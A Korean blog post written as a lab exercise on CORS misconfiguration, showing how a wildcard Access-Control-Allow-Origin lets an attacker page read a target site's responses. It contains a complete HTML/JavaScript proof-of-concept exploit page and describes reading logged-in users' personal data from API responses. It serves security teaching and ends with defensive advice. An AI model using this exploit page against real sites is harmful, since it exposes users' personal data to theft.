티스토리 뷰

반응형

 

실습 요구사항

 

 

환경 정보

🌐 요청

Cross-origin인 XHR 요청 서버

🌍 응답

Access-Control-Allow-Origin이 와일드카드 (*)로 설정된 웹 서버

 

 

소스코드 및 웹 서버 설정

🌐 요청 단

ACAO를 와일드카드로 설정하여 ACAC는 true로 설정할 수 없다.

그러므로 withCredentials를 true로 설정할 경우 응답을 받을 수 없으므로 일단 생략한다.

또한 ACAC가 true가 아니므로 쿠키정보는 받을 수 없기에,

Response의 form에 SESSIONID가 숨어있다고 (백 번 양보해서..) 가정한다. 

(생각보다 Response에 개인정보가 평문으로 존재하는 경우가 많으니까)

'당신의 CORS는 안전합니까요 !?' 버튼을 클릭하면 result div에 응답 텍스트가 추가되는 방식이다.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>또야 CORS</title>
</head>
<body>
    <h2>또야 CORS Exploit</h2>
    <button type='button' onclick='cors()'>당신의 CORS는 안전합니까요 !?</button>
    <h2>Response</h2>
    <div id='result'>
    </div>
    <script>
        function cors() {
                var xhr = new XMLHttpRequest();
                xhr.onreadystatechange = function() {
                        if (this.readyState == 4 && this.status == 200) {
                                document.getElementById('result').innerText = "아니요.. 안전하지 않았습니다. TT\n"
                                document.getElementById('result').innerText += "제 정보를 가져가지 마세요!\n\n"
                                document.getElementById('result').innerText += this.responseText;
                        }
                };

                xhr.open('get','http://www.example.com',true); //취약한 웹의 진입점으로 변경
                // xhr.withCredentials = true;
                xhr.send();     
        };
    </script>
</html>

 

🌍 응답 서버 단

nginx.conf에서 아래와 같이 Access-Control-Allow-Origin을 와일드카드로 설정하였다.

이렇게 되면 Origin이 무엇이든 Allow한다.

 

 

실행과정 및 결과

과정 1

로그인한 사용자는 악의적인 요청 서버에 접속한다.

 

과정 2

사용자는 CORS 테스트 버튼 '당신의 CORS는 안전합니까요 !?'를 누르고,

공격 대상으로부터의 응답이 텍스트로 출력된다.

 

🚫 개인정보 평문 노출

로그인 한 상태로 볼 수 있는 응답 패킷에서 평문으로 노출되는 개인정보이다. 

 

🚫 로그인 된 사용자의 응답 값 탈취

더 나아가 로그인 된 사용자만 이용 가능한 api 호출 시의 응답을 받아올 수 있었다.

로컬에서 테스트해보려면 xhr open 이후에

xhr.setRequestHeader("Authorization", "Bearer " + token); 추가해서 인증된 사용자처럼 해보면 되긴 한데 

지금 이 실습의 목적과는 맞지 않는다.

다른 host에서 링크를 클릭했다는 가정 하에 실습하는 것을 추천함.

그리고 기업 내부 api의 경우 네트워크 관점에서 외부 접근이 막혀있다는 가정하에 이러한 공격은 불가하다. 

그러므로 내부 서비스에 대해 보안장비에서의 적절한 ACL도 중요할 것 같다.

 

반응형
댓글
반응형
Recent Post.
Recent Reply.
Thanks for comming.
오늘은
명이 방문했어요
어제는
명이 방문했어요